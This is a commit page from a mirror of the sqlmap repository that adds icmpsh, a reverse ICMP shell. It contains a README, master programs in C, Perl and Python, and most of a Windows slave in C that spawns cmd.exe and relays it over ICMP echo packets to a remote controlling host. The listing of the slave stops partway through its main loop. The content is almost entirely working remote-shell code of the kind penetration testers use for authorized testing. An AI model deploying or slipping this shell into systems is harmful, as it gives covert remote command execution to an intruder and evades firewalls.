mirror of
				https://github.com/sqlmapproject/sqlmap.git
				synced 2025-11-04 01:47:37 +03:00 
			
		
		
		
	Added icmpsh from Nico Leidecker for future enhancement to --os-cmd and --os-pwn to make the user able to choose between TCP (Metasploit payloads) and ICMP (icmpsh software).
This commit is contained in:
		
							parent
							
								
									d554ffc0ae
								
							
						
					
					
						commit
						6075752c47
					
				
							
								
								
									
										45
									
								
								extra/icmpsh/README.txt
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										45
									
								
								extra/icmpsh/README.txt
									
									
									
									
									
										Normal file
									
								
							| 
						 | 
				
			
			@ -0,0 +1,45 @@
 | 
			
		|||
icmpsh - simple reverse ICMP shell
 | 
			
		||||
 | 
			
		||||
icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
--- Running the Master ---
 | 
			
		||||
 | 
			
		||||
The master is straight forward to use. There are no extra libraries required for the C version. 
 | 
			
		||||
The Perl master however has the following dependencies:
 | 
			
		||||
 | 
			
		||||
	* IO::Socket
 | 
			
		||||
	* NetPacket::IP
 | 
			
		||||
	* NetPacket::ICMP
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
When running the master, don't forget to disable ICMP replies by the OS. For example:
 | 
			
		||||
 | 
			
		||||
	sysctl -w net.ipv4.icmp_echo_ignore_all=1
 | 
			
		||||
 | 
			
		||||
If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive
 | 
			
		||||
commands send from the master.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
--- Running the Slave ---
 | 
			
		||||
 | 
			
		||||
The slave comes with a few command line options as outlined below:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
-t host            host ip address to send ping requests to. This option is mandatory!
 | 
			
		||||
 | 
			
		||||
-r                 send a single test icmp request containing the string "Test1234" and then quit. 
 | 
			
		||||
		   This is for testing the connection.
 | 
			
		||||
 | 
			
		||||
-d milliseconds    delay between requests in milliseconds 
 | 
			
		||||
 | 
			
		||||
-o milliseconds    timeout of responses in milliseconds. If a response has not received in time, 
 | 
			
		||||
		   the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit.
 | 
			
		||||
                   The counter is set back to 0 if a response was received.
 | 
			
		||||
 | 
			
		||||
-b num             limit of blanks (unanswered icmp requests before quitting
 | 
			
		||||
 | 
			
		||||
-s bytes           maximal data buffer size in bytes
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer.
 | 
			
		||||
							
								
								
									
										134
									
								
								extra/icmpsh/icmpsh-m.c
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										134
									
								
								extra/icmpsh/icmpsh-m.c
									
									
									
									
									
										Normal file
									
								
							| 
						 | 
				
			
			@ -0,0 +1,134 @@
 | 
			
		|||
/*
 | 
			
		||||
 *   icmpsh - simple icmp command shell
 | 
			
		||||
 *   Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
 | 
			
		||||
 *   This program is free software: you can redistribute it and/or modify
 | 
			
		||||
 *   it under the terms of the GNU General Public License as published by
 | 
			
		||||
 *   the Free Software Foundation, either version 3 of the License, or
 | 
			
		||||
 *   (at your option) any later version.
 | 
			
		||||
 *
 | 
			
		||||
 *    This program is distributed in the hope that it will be useful,
 | 
			
		||||
 *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 | 
			
		||||
 *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 | 
			
		||||
 *    GNU General Public License for more details.
 | 
			
		||||
 *
 | 
			
		||||
 *    You should have received a copy of the GNU General Public License
 | 
			
		||||
 *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
 | 
			
		||||
 */
 | 
			
		||||
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <stdlib.h>
 | 
			
		||||
#include <sys/types.h>
 | 
			
		||||
#include <sys/socket.h>
 | 
			
		||||
#include <sys/stat.h>
 | 
			
		||||
#include <netinet/in.h>
 | 
			
		||||
#include <netinet/ip_icmp.h>
 | 
			
		||||
#include <netinet/ip.h>
 | 
			
		||||
#include <string.h>
 | 
			
		||||
#include <unistd.h>
 | 
			
		||||
#include <fcntl.h>
 | 
			
		||||
 | 
			
		||||
#define IN_BUF_SIZE   1024
 | 
			
		||||
#define OUT_BUF_SIZE  64
 | 
			
		||||
 | 
			
		||||
// calculate checksum
 | 
			
		||||
unsigned short checksum(unsigned short *ptr, int nbytes)
 | 
			
		||||
{
 | 
			
		||||
    unsigned long sum;
 | 
			
		||||
    unsigned short oddbyte, rs;
 | 
			
		||||
 | 
			
		||||
    sum = 0;
 | 
			
		||||
    while(nbytes > 1) {
 | 
			
		||||
        sum += *ptr++;
 | 
			
		||||
        nbytes -= 2;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    if(nbytes == 1) {
 | 
			
		||||
        oddbyte = 0;
 | 
			
		||||
        *((unsigned char *) &oddbyte) = *(u_char *)ptr;
 | 
			
		||||
        sum += oddbyte;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    sum  = (sum >> 16) + (sum & 0xffff);
 | 
			
		||||
    sum += (sum >> 16);
 | 
			
		||||
    rs = ~sum;
 | 
			
		||||
    return rs;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
int main(int argc, char **argv)
 | 
			
		||||
{
 | 
			
		||||
    int sockfd;
 | 
			
		||||
    int flags;
 | 
			
		||||
    char in_buf[IN_BUF_SIZE];
 | 
			
		||||
    char out_buf[OUT_BUF_SIZE];
 | 
			
		||||
    unsigned int out_size;
 | 
			
		||||
    int nbytes;
 | 
			
		||||
    struct iphdr *ip;
 | 
			
		||||
    struct icmphdr *icmp;
 | 
			
		||||
    char *data;
 | 
			
		||||
    struct sockaddr_in addr;
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
    printf("icmpsh - master\n");
 | 
			
		||||
    
 | 
			
		||||
    // create raw ICMP socket
 | 
			
		||||
    sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
 | 
			
		||||
    if (sockfd == -1) {
 | 
			
		||||
       perror("socket");
 | 
			
		||||
       return -1;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    // set stdin to non-blocking
 | 
			
		||||
    flags = fcntl(0, F_GETFL, 0);
 | 
			
		||||
    flags |= O_NONBLOCK;
 | 
			
		||||
    fcntl(0, F_SETFL, flags);
 | 
			
		||||
 | 
			
		||||
    printf("running...\n");
 | 
			
		||||
    while(1) {
 | 
			
		||||
 | 
			
		||||
        // read data from socket
 | 
			
		||||
        memset(in_buf, 0x00, IN_BUF_SIZE);
 | 
			
		||||
        nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
 | 
			
		||||
        if (nbytes > 0) {
 | 
			
		||||
            // get ip and icmp header and data part
 | 
			
		||||
            ip = (struct iphdr *) in_buf;
 | 
			
		||||
            if (nbytes > sizeof(struct iphdr)) {
 | 
			
		||||
                nbytes -= sizeof(struct iphdr);
 | 
			
		||||
                icmp = (struct icmphdr *) (ip + 1);
 | 
			
		||||
                if (nbytes > sizeof(struct icmphdr)) {
 | 
			
		||||
                    nbytes -= sizeof(struct icmphdr);
 | 
			
		||||
                    data = (char *) (icmp + 1);
 | 
			
		||||
                    data[nbytes] = '\0';
 | 
			
		||||
                    printf("%s", data);
 | 
			
		||||
                    fflush(stdout);
 | 
			
		||||
                }
 | 
			
		||||
                
 | 
			
		||||
                // reuse headers
 | 
			
		||||
                icmp->type = 0;
 | 
			
		||||
                addr.sin_family = AF_INET;
 | 
			
		||||
                addr.sin_addr.s_addr = ip->saddr;
 | 
			
		||||
        
 | 
			
		||||
                // read data from stdin
 | 
			
		||||
                nbytes = read(0, out_buf, OUT_BUF_SIZE);
 | 
			
		||||
                if (nbytes > -1) {
 | 
			
		||||
                    memcpy((char *) (icmp + 1), out_buf, nbytes);
 | 
			
		||||
                    out_size = nbytes;
 | 
			
		||||
                } else {
 | 
			
		||||
                    out_size = 0;
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                icmp->checksum = 0x00;
 | 
			
		||||
                icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
 | 
			
		||||
 | 
			
		||||
                // send reply
 | 
			
		||||
                nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
 | 
			
		||||
                if (nbytes == -1) {
 | 
			
		||||
                    perror("sendto");
 | 
			
		||||
                    return -1;
 | 
			
		||||
                }        
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return 0;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
							
								
								
									
										62
									
								
								extra/icmpsh/icmpsh-m.pl
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										62
									
								
								extra/icmpsh/icmpsh-m.pl
									
									
									
									
									
										Executable file
									
								
							| 
						 | 
				
			
			@ -0,0 +1,62 @@
 | 
			
		|||
#!/usr/bin/env perl
 | 
			
		||||
#
 | 
			
		||||
#  icmpsh - simple icmp command shell
 | 
			
		||||
#  Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
 | 
			
		||||
#  This program is free software: you can redistribute it and/or modify
 | 
			
		||||
#  it under the terms of the GNU General Public License as published by
 | 
			
		||||
#  the Free Software Foundation, either version 3 of the License, or
 | 
			
		||||
#  (at your option) any later version.
 | 
			
		||||
#
 | 
			
		||||
#  This program is distributed in the hope that it will be useful,
 | 
			
		||||
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
 | 
			
		||||
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 | 
			
		||||
#  GNU General Public License for more details.
 | 
			
		||||
#
 | 
			
		||||
#  You should have received a copy of the GNU General Public License
 | 
			
		||||
#  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 | 
			
		||||
#
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
use strict;
 | 
			
		||||
use IO::Socket;
 | 
			
		||||
use NetPacket::IP;
 | 
			
		||||
use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO);
 | 
			
		||||
use Net::RawIP;
 | 
			
		||||
use Fcntl;
 | 
			
		||||
 | 
			
		||||
print "icmpsh - master\n";
 | 
			
		||||
 | 
			
		||||
# create raw socket
 | 
			
		||||
my $sock = IO::Socket::INET->new(
 | 
			
		||||
                Proto   => "ICMP",
 | 
			
		||||
                Type    => SOCK_RAW,
 | 
			
		||||
                Blocking => 1) or die "$!";
 | 
			
		||||
 | 
			
		||||
# set stdin to non-blocking
 | 
			
		||||
fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!";
 | 
			
		||||
 | 
			
		||||
print "running...\n";
 | 
			
		||||
 | 
			
		||||
my $input = '';
 | 
			
		||||
while(1) {
 | 
			
		||||
        if ($sock->recv(my $buffer, 4096, 0)) {
 | 
			
		||||
                my $ip = NetPacket::IP->decode($buffer);
 | 
			
		||||
                my $icmp = NetPacket::ICMP->decode($ip->{data});
 | 
			
		||||
                if ($icmp->{type} == ICMP_ECHO) {
 | 
			
		||||
                        # get identifier and sequencenumber
 | 
			
		||||
                        my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data});
 | 
			
		||||
 | 
			
		||||
                        # write data to stdout and read from stdin
 | 
			
		||||
                        print $data;
 | 
			
		||||
                        $input = <STDIN>;
 | 
			
		||||
 | 
			
		||||
                        # compile and send response
 | 
			
		||||
                        $icmp->{type} = ICMP_ECHOREPLY;
 | 
			
		||||
                        $icmp->{data} = pack("SSa*", $ident, $seq, $input);
 | 
			
		||||
                        my $raw = $icmp->encode();
 | 
			
		||||
                        my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));
 | 
			
		||||
                        $sock->send($raw, 0, $addr) or die "$!\n";
 | 
			
		||||
                }
 | 
			
		||||
        }
 | 
			
		||||
}
 | 
			
		||||
							
								
								
									
										55
									
								
								extra/icmpsh/icmpsh-m.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										55
									
								
								extra/icmpsh/icmpsh-m.py
									
									
									
									
									
										Normal file
									
								
							| 
						 | 
				
			
			@ -0,0 +1,55 @@
 | 
			
		|||
#!/usr/bin/python
 | 
			
		||||
 | 
			
		||||
import socket
 | 
			
		||||
 | 
			
		||||
import pcapy
 | 
			
		||||
from impacket import ImpactDecoder
 | 
			
		||||
from impacket import ImpactPacket
 | 
			
		||||
 | 
			
		||||
ip = ImpactPacket.IP()
 | 
			
		||||
ip.set_ip_src('192.168.136.1')
 | 
			
		||||
ip.set_ip_dst('192.168.136.132')
 | 
			
		||||
 | 
			
		||||
def recv_pkts(hdr, data):
 | 
			
		||||
    global ip
 | 
			
		||||
 | 
			
		||||
    x = ImpactDecoder.ICMPDecoder().decode(data)
 | 
			
		||||
    print x
 | 
			
		||||
 | 
			
		||||
    i = raw_input()
 | 
			
		||||
 | 
			
		||||
    icmp = ImpactPacket.ICMP()
 | 
			
		||||
    icmp.set_icmp_type(icmp.ICMP_ECHO)
 | 
			
		||||
    icmp.contains(ImpactPacket.Data(i))
 | 
			
		||||
    ip.contains(icmp)
 | 
			
		||||
 | 
			
		||||
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
 | 
			
		||||
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 | 
			
		||||
 | 
			
		||||
    icmp.set_icmp_id(0)
 | 
			
		||||
    icmp.set_icmp_cksum(0)
 | 
			
		||||
    icmp.auto_checksum = 1
 | 
			
		||||
 | 
			
		||||
    s.sendto(ip.get_packet(), ('192.168.136.132', 0))
 | 
			
		||||
 | 
			
		||||
def get_int():
 | 
			
		||||
    devs = pcapy.findalldevs()
 | 
			
		||||
    i = 0
 | 
			
		||||
 | 
			
		||||
    for eth in devs:
 | 
			
		||||
        print " %d - %s" %(i,devs[i])
 | 
			
		||||
        i+=1
 | 
			
		||||
 | 
			
		||||
    sel = input("Select interface: ")
 | 
			
		||||
    dev = devs[sel]
 | 
			
		||||
 | 
			
		||||
    return dev
 | 
			
		||||
 
 | 
			
		||||
dev = get_int()
 | 
			
		||||
p = pcapy.open_live(dev, 1500, 0, 100)
 | 
			
		||||
 | 
			
		||||
p.setfilter('icmp')
 | 
			
		||||
 | 
			
		||||
print "Listening on eth: net=%s, mask=%s\n" % (p.getnet(), p.getmask())
 | 
			
		||||
 | 
			
		||||
p.loop(-1, recv_pkts)
 | 
			
		||||
							
								
								
									
										346
									
								
								extra/icmpsh/icmpsh-s.c
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										346
									
								
								extra/icmpsh/icmpsh-s.c
									
									
									
									
									
										Normal file
									
								
							| 
						 | 
				
			
			@ -0,0 +1,346 @@
 | 
			
		|||
/*
 | 
			
		||||
 *   icmpsh - simple icmp command shell
 | 
			
		||||
 *   Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
 | 
			
		||||
 *   This program is free software: you can redistribute it and/or modify
 | 
			
		||||
 *   it under the terms of the GNU General Public License as published by
 | 
			
		||||
 *   the Free Software Foundation, either version 3 of the License, or
 | 
			
		||||
 *   (at your option) any later version.
 | 
			
		||||
 *
 | 
			
		||||
 *    This program is distributed in the hope that it will be useful,
 | 
			
		||||
 *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 | 
			
		||||
 *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 | 
			
		||||
 *    GNU General Public License for more details.
 | 
			
		||||
 *
 | 
			
		||||
 *    You should have received a copy of the GNU General Public License
 | 
			
		||||
 *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
 | 
			
		||||
 */
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <stdlib.h>
 | 
			
		||||
#include <winsock2.h>
 | 
			
		||||
#include <windows.h>
 | 
			
		||||
#include <winsock2.h>
 | 
			
		||||
#include <iphlpapi.h>
 | 
			
		||||
 | 
			
		||||
#define ICMP_HEADERS_SIZE	(sizeof(ICMP_ECHO_REPLY) + 8)
 | 
			
		||||
 | 
			
		||||
#define STATUS_OK					0
 | 
			
		||||
#define STATUS_SINGLE				1
 | 
			
		||||
#define STATUS_PROCESS_NOT_CREATED	2
 | 
			
		||||
 | 
			
		||||
#define TRANSFER_SUCCESS			1
 | 
			
		||||
#define TRANSFER_FAILURE			0
 | 
			
		||||
 | 
			
		||||
#define DEFAULT_TIMEOUT			    3000
 | 
			
		||||
#define DEFAULT_DELAY			    200
 | 
			
		||||
#define DEFAULT_MAX_BLANKS	   	    10
 | 
			
		||||
#define DEFAULT_MAX_DATA_SIZE	    64
 | 
			
		||||
 | 
			
		||||
FARPROC icmp_create, icmp_send, to_ip;
 | 
			
		||||
 | 
			
		||||
int verbose = 0;
 | 
			
		||||
 | 
			
		||||
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
 | 
			
		||||
{
 | 
			
		||||
	SECURITY_ATTRIBUTES sattr;
 | 
			
		||||
	STARTUPINFOA si;
 | 
			
		||||
	HANDLE in_read, out_write;
 | 
			
		||||
 | 
			
		||||
	memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
 | 
			
		||||
	memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
 | 
			
		||||
    
 | 
			
		||||
	// create communication pipes  
 | 
			
		||||
	memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
 | 
			
		||||
	sattr.nLength = sizeof(SECURITY_ATTRIBUTES); 
 | 
			
		||||
	sattr.bInheritHandle = TRUE; 
 | 
			
		||||
	sattr.lpSecurityDescriptor = NULL; 
 | 
			
		||||
 | 
			
		||||
	if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
 | 
			
		||||
		return STATUS_PROCESS_NOT_CREATED;
 | 
			
		||||
	}
 | 
			
		||||
	if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
 | 
			
		||||
		return STATUS_PROCESS_NOT_CREATED;
 | 
			
		||||
	}
 | 
			
		||||
 | 
			
		||||
	if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
 | 
			
		||||
		return STATUS_PROCESS_NOT_CREATED;
 | 
			
		||||
	}
 | 
			
		||||
	if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
 | 
			
		||||
		return STATUS_PROCESS_NOT_CREATED;
 | 
			
		||||
	}
 | 
			
		||||
 | 
			
		||||
	// spawn process
 | 
			
		||||
	memset(&si, 0x00, sizeof(STARTUPINFO));
 | 
			
		||||
	si.cb = sizeof(STARTUPINFO); 
 | 
			
		||||
	si.hStdError = out_write;
 | 
			
		||||
	si.hStdOutput = out_write;
 | 
			
		||||
	si.hStdInput = in_read;
 | 
			
		||||
	si.dwFlags |= STARTF_USESTDHANDLES;
 | 
			
		||||
 | 
			
		||||
	if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
 | 
			
		||||
		return STATUS_PROCESS_NOT_CREATED;
 | 
			
		||||
	}
 | 
			
		||||
 | 
			
		||||
	CloseHandle(out_write);
 | 
			
		||||
	CloseHandle(in_read);
 | 
			
		||||
 | 
			
		||||
	return STATUS_OK;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void usage(char *path)
 | 
			
		||||
{
 | 
			
		||||
	printf("%s [options] -t target\n", path);
 | 
			
		||||
	printf("options:\n");
 | 
			
		||||
	printf("  -t host            host ip address to send ping requests to\n");
 | 
			
		||||
	printf("  -r                 send a single test icmp request and then quit\n");
 | 
			
		||||
	printf("  -d milliseconds    delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
 | 
			
		||||
	printf("  -o milliseconds    timeout in milliseconds\n");
 | 
			
		||||
	printf("  -h                 this screen\n");
 | 
			
		||||
	printf("  -b num             maximal number of blanks (unanswered icmp requests)\n");
 | 
			
		||||
    printf("                     before quitting\n");
 | 
			
		||||
	printf("  -s bytes           maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
 | 
			
		||||
	printf("In order to improve the speed, lower the delay (-d) between requests or\n");
 | 
			
		||||
    printf("increase the size (-s) of the data buffer\n");
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void create_icmp_channel(HANDLE *icmp_chan)
 | 
			
		||||
{
 | 
			
		||||
	// create icmp file
 | 
			
		||||
	*icmp_chan = (HANDLE) icmp_create();
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
 | 
			
		||||
{
 | 
			
		||||
	int rs;
 | 
			
		||||
	char *temp_in_buf;
 | 
			
		||||
	int nbytes;
 | 
			
		||||
 | 
			
		||||
	PICMP_ECHO_REPLY echo_reply;
 | 
			
		||||
 | 
			
		||||
	temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
 | 
			
		||||
	if (!temp_in_buf) {
 | 
			
		||||
		return TRANSFER_FAILURE;
 | 
			
		||||
	}
 | 
			
		||||
 | 
			
		||||
	// send data to remote host
 | 
			
		||||
	rs = icmp_send(
 | 
			
		||||
			icmp_chan,
 | 
			
		||||
			target,
 | 
			
		||||
			out_buf,
 | 
			
		||||
			out_buf_size,
 | 
			
		||||
			NULL,
 | 
			
		||||
			temp_in_buf,
 | 
			
		||||
			max_in_data_size + ICMP_HEADERS_SIZE,
 | 
			
		||||
			timeout);
 | 
			
		||||
 | 
			
		||||
		// check received data
 | 
			
		||||
		if (rs > 0) {
 | 
			
		||||
			echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
 | 
			
		||||
			if (echo_reply->DataSize > max_in_data_size) {
 | 
			
		||||
				nbytes = max_in_data_size;
 | 
			
		||||
			} else {
 | 
			
		||||
				nbytes = echo_reply->DataSize;
 | 
			
		||||
			}
 | 
			
		||||
			memcpy(in_buf, echo_reply->Data, nbytes);
 | 
			
		||||
			*in_buf_size = nbytes;
 | 
			
		||||
 | 
			
		||||
			free(temp_in_buf);
 | 
			
		||||
			return TRANSFER_SUCCESS;
 | 
			
		||||
		}
 | 
			
		||||
 | 
			
		||||
		free(temp_in_buf);
 | 
			
		||||
 | 
			
		||||
    return TRANSFER_FAILURE;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
int load_deps()
 | 
			
		||||
{
 | 
			
		||||
	HMODULE lib;
 | 
			
		||||
	
 | 
			
		||||
	lib = LoadLibraryA("ws2_32.dll");
 | 
			
		||||
	if (lib != NULL) {
 | 
			
		||||
        to_ip = GetProcAddress(lib, "inet_addr");
 | 
			
		||||
        if (!to_ip) {   
 | 
			
		||||
            return 0;
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
	lib = LoadLibraryA("iphlpapi.dll");
 | 
			
		||||
	if (lib != NULL) {
 | 
			
		||||
		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
 | 
			
		||||
		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
 | 
			
		||||
		if (icmp_create && icmp_send) {
 | 
			
		||||
			return 1;
 | 
			
		||||
		}
 | 
			
		||||
	} 
 | 
			
		||||
 | 
			
		||||
	lib = LoadLibraryA("ICMP.DLL");
 | 
			
		||||
	if (lib != NULL) {
 | 
			
		||||
		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
 | 
			
		||||
		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
 | 
			
		||||
		if (icmp_create && icmp_send) {
 | 
			
		||||
			return 1;
 | 
			
		||||
		}
 | 
			
		||||
	}
 | 
			
		||||
	
 | 
			
		||||
	printf("failed to load functions (%u)", GetLastError());
 | 
			
		||||
 | 
			
		||||
	return 0;
 | 
			
		||||
}
 | 
			
		||||
int main(int argc, char **argv)
 | 
			
		||||
{
 | 
			
		||||
	int opt;
 | 
			
		||||
	char *target;
 | 
			
		||||
	unsigned int delay, timeout;
 | 
			
		||||
	unsigned int ip_addr;
 | 
			
		||||
	HANDLE pipe_read, pipe_write;
 | 
			
		||||
	HANDLE icmp_chan;
 | 
			
		||||
	unsigned char *in_buf, *out_buf;
 | 
			
		||||
	unsigned int in_buf_size, out_buf_size;
 | 
			
		||||
	DWORD rs;
 | 
			
		||||
	int blanks, max_blanks;
 | 
			
		||||
	PROCESS_INFORMATION pi;
 | 
			
		||||
	int status;
 | 
			
		||||
	unsigned int max_data_size;
 | 
			
		||||
	struct hostent *he;
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
	// set defaults
 | 
			
		||||
	target = 0;
 | 
			
		||||
	timeout = DEFAULT_TIMEOUT;
 | 
			
		||||
	delay = DEFAULT_DELAY;
 | 
			
		||||
	max_blanks = DEFAULT_MAX_BLANKS;
 | 
			
		||||
	max_data_size = DEFAULT_MAX_DATA_SIZE;
 | 
			
		||||
 | 
			
		||||
	status = STATUS_OK;
 | 
			
		||||
	if (!load_deps()) {
 | 
			
		||||
		printf("failed to load ICMP library\n");
 | 
			
		||||
		return -1;
 | 
			
		||||
	}
 | 
			
		||||
 | 
			
		||||
	// parse command line options
 | 
			
		||||
	for (opt = 1; opt < argc; opt++) {
 | 
			
		||||
		if (argv[opt][0] == '-') {
 | 
			
		||||
			switch(argv[opt][1]) {
 | 
			
		||||
				case 'h':
 | 
			
		||||
				    usage(*argv);
 | 
			
		||||
					return 0;
 | 
			
		||||
				case 't':
 | 
			
		||||
					if (opt + 1 < argc) {
 | 
			
		||||
						target = argv[opt + 1];
 | 
			
		||||
					}
 | 
			
		||||
					break;
 | 
			
		||||
				case 'd':
 | 
			
		||||
					if (opt + 1 < argc) {
 | 
			
		||||
						delay = atol(argv[opt + 1]);
 | 
			
		||||
					}
 | 
			
		||||
					break;
 | 
			
		||||
				case 'o':
 | 
			
		||||
					if (opt + 1 < argc) {
 | 
			
		||||
						timeout = atol(argv[opt + 1]);
 | 
			
		||||
					}
 | 
			
		||||
					break;
 | 
			
		||||
				case 'r':
 | 
			
		||||
					status = STATUS_SINGLE;
 | 
			
		||||
					break;
 | 
			
		||||
				case 'b':
 | 
			
		||||
					if (opt + 1 < argc) {
 | 
			
		||||
						max_blanks = atol(argv[opt + 1]);
 | 
			
		||||
					}
 | 
			
		||||
					break;
 | 
			
		||||
				case 's':
 | 
			
		||||
					if (opt + 1 < argc) {
 | 
			
		||||
						max_data_size = atol(argv[opt + 1]);
 | 
			
		||||
					}
 | 
			
		||||
					break;
 | 
			
		||||
				default:
 | 
			
		||||
					printf("unrecognized option -%c\n", argv[1][0]);
 | 
			
		||||
					usage(*argv);
 | 
			
		||||
					return -1;
 | 
			
		||||
			}
 | 
			
		||||
		}
 | 
			
		||||
	}
 | 
			
		||||
 | 
			
		||||
	if (!target) {
 | 
			
		||||
		printf("you need to specify a host with -t. Try -h for more options\n");
 | 
			
		||||
		return -1;
 | 
			
		||||
	}
 | 
			
		||||
	ip_addr = to_ip(target);
 | 
			
		||||
 | 
			
		||||
	// don't spawn a shell if we're only sending a single test request
 | 
			
		||||
	if (status != STATUS_SINGLE) {
 | 
			
		||||
		status = spawn_shell(&pi, &pipe_read, &pipe_write);
 | 
			
		||||
	}
 | 
			
		||||
 | 
			
		||||
	// create icmp channel
 | 
			
		||||
	create_icmp_channel(&icmp_chan);
 | 
			
		||||
	if (icmp_chan == INVALID_HANDLE_VALUE) {
 | 
			
		||||
	    printf("unable to create ICMP file: %u\n", GetLastError());
 | 
			
		||||
	    return -1;
 | 
			
		||||
	}
 | 
			
		||||
 | 
			
		||||
	// allocate transfer buffers
 | 
			
		||||
	in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
 | 
			
		||||
	out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
 | 
			
		||||
	if (!in_buf || !out_buf) {
 | 
			
		||||
		printf("failed to allocate memory for transfer buffers\n");
 | 
			
		||||
		return -1;
 | 
			
		||||
	}
 | 
			
		||||
	memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
 | 
			
		||||
	memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
 | 
			
		||||
 | 
			
		||||
	// sending/receiving loop
 | 
			
		||||
	blanks = 0;
 | 
			
		||||
	do {
 | 
			
		||||
 | 
			
		||||
		switch(status) {
 | 
			
		||||
			case STATUS_SINGLE:
 | 
			
		||||
				// reply with a static string
 | 
			
		||||
				out_buf_size = sprintf(out_buf, "Test1234\n");
 | 
			
		||||
				break;
 | 
			
		||||
			case STATUS_PROCESS_NOT_CREATED:
 | 
			
		||||
				// reply with error message
 | 
			
		||||
				out_buf_size = sprintf(out_buf, "Process was not created\n");
 | 
			
		||||
				break;
 | 
			
		||||
			default:
 | 
			
		||||
				// read data from process via pipe
 | 
			
		||||
				out_buf_size = 0;
 | 
			
		||||
				if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
 | 
			
		||||
					if (out_buf_size > 0) {
 | 
			
		||||
						out_buf_size = 0;
 | 
			
		||||
						rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
 | 
			
		||||
						if (!rs && GetLastError() != ERROR_IO_PENDING) {
 | 
			
		||||
							out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
 | 
			
		||||
						} 
 | 
			
		||||
					}
 | 
			
		||||
				} else {
 | 
			
		||||
